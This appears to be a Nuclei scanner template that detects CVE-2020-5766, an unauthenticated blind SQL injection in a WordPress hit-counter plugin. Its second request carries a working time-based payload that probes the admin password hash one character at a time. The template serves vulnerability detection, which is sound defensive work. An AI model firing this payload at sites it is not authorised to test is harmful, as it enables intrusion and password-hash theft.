id: CVE-2020-5766

info:
  name: SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
  reference:
    - https://github.com/tenable/poc/blob/master/WordPress/plugins/SRS_Simple_Hits_Counter/blind_sqli_tra_2020_42.py
    - https://www.tenable.com/security/research/tra-2020-42
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-5766
    cwe-id: CWE-89
    epss-score: 0.28723
    epss-percentile: 0.96612
    cpe: cpe:2.3:a:srs_simple_hits_counter_project:srs_simple_hits_counter:1.0.3:*:*:*:*:wordpress:*:*
  metadata:
    vendor: srs_simple_hits_counter_project
    product: srs_simple_hits_counter
    framework: wordpress
    publicwww-query: "/wp-content/plugins/srs-simple-hits-counter/"
  tags: cve,cve2020,srs-simple-hits-counter,wordpress,wp,wp-plugin,time-based-sqli,sqli,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/srs-simple-hits-counter")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /wp-admin/admin-ajax.php?action=srs_update_counter&post_id=1+and+1=0)+union+select+(select+if(ascii(substring((select+user_pass+from+wp_users+where+user_login=char(97,100,109,105,110)),%d,1))=%d,sleep(6),sleep(0))),1,1,1,1,1;-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
# digest: 490a00463044022069051686685343ed5d77dafab6b4d8a3b87a66330e10352b6b1a2e2a03be57fa022065520dba419df04eb298859aedc4eb031a10478801a6f46a940d04187b0c07ca:922c64590222798bb761d5b6d8e72950